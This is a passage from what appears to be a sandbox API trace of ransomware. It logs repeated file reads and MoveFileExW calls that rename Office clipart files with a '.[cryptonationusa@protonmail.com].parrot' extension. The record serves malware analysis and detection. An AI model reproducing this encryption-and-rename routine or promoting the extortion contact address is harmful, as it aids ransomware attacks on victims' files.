hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.236] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x670, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x670, lpOverlapped=0x0) returned 1 [0153.236] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.237] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.240] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.241] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.242] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.242] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5b4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5b4, lpOverlapped=0x0) returned 1 [0153.242] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.243] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0153.246] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.247] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.248] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.248] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x504, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x504, lpOverlapped=0x0) returned 1 [0153.248] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.249] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0153.252] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.252] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.296] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.296] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a54, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1a54, lpOverlapped=0x0) returned 1 [0153.298] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.298] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0153.318] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.318] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.320] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.320] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x574, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x574, lpOverlapped=0x0) returned 1 [0153.320] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.321] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.324] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0153.326] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.326] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.328] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.328] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19ca, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x19ca, lpOverlapped=0x0) returned 1 [0153.329] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.329] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0153.333] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.333] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.335] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.336] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5fec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5fec, lpOverlapped=0x0) returned 1 [0153.337] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0153.343] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.343] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.354] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.354] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7f4e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7f4e, lpOverlapped=0x0) returned 1 [0153.355] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.357] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0153.364] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.364] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.366] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.366] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x430c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x430c, lpOverlapped=0x0) returned 1 [0153.368] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.369] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.371] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.371] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.371] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0153.374] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.374] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.375] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.376] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5b70, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5b70, lpOverlapped=0x0) returned 1 [0153.377] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.377] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0153.382] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.382] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.384] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.384] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4b7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4b7a, lpOverlapped=0x0) returned 1 [0153.385] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.385] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.387] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.387] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.387] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0153.389] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.389] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.392] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.392] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1262e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1262e, lpOverlapped=0x0) returned 1 [0153.395] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.396] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.398] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.398] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.398] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0153.401] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.401] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.402] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.402] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x967a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x967a, lpOverlapped=0x0) returned 1 [0153.406] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.407] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0153.411] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.411] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.412] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.413] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x22f4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x22f4, lpOverlapped=0x0) returned 1 [0153.413] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.415] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.417] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.417] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.417] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0153.419] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.419] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.421] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.421] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x107b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x107b, lpOverlapped=0x0) returned 1 [0153.422] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.422] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft 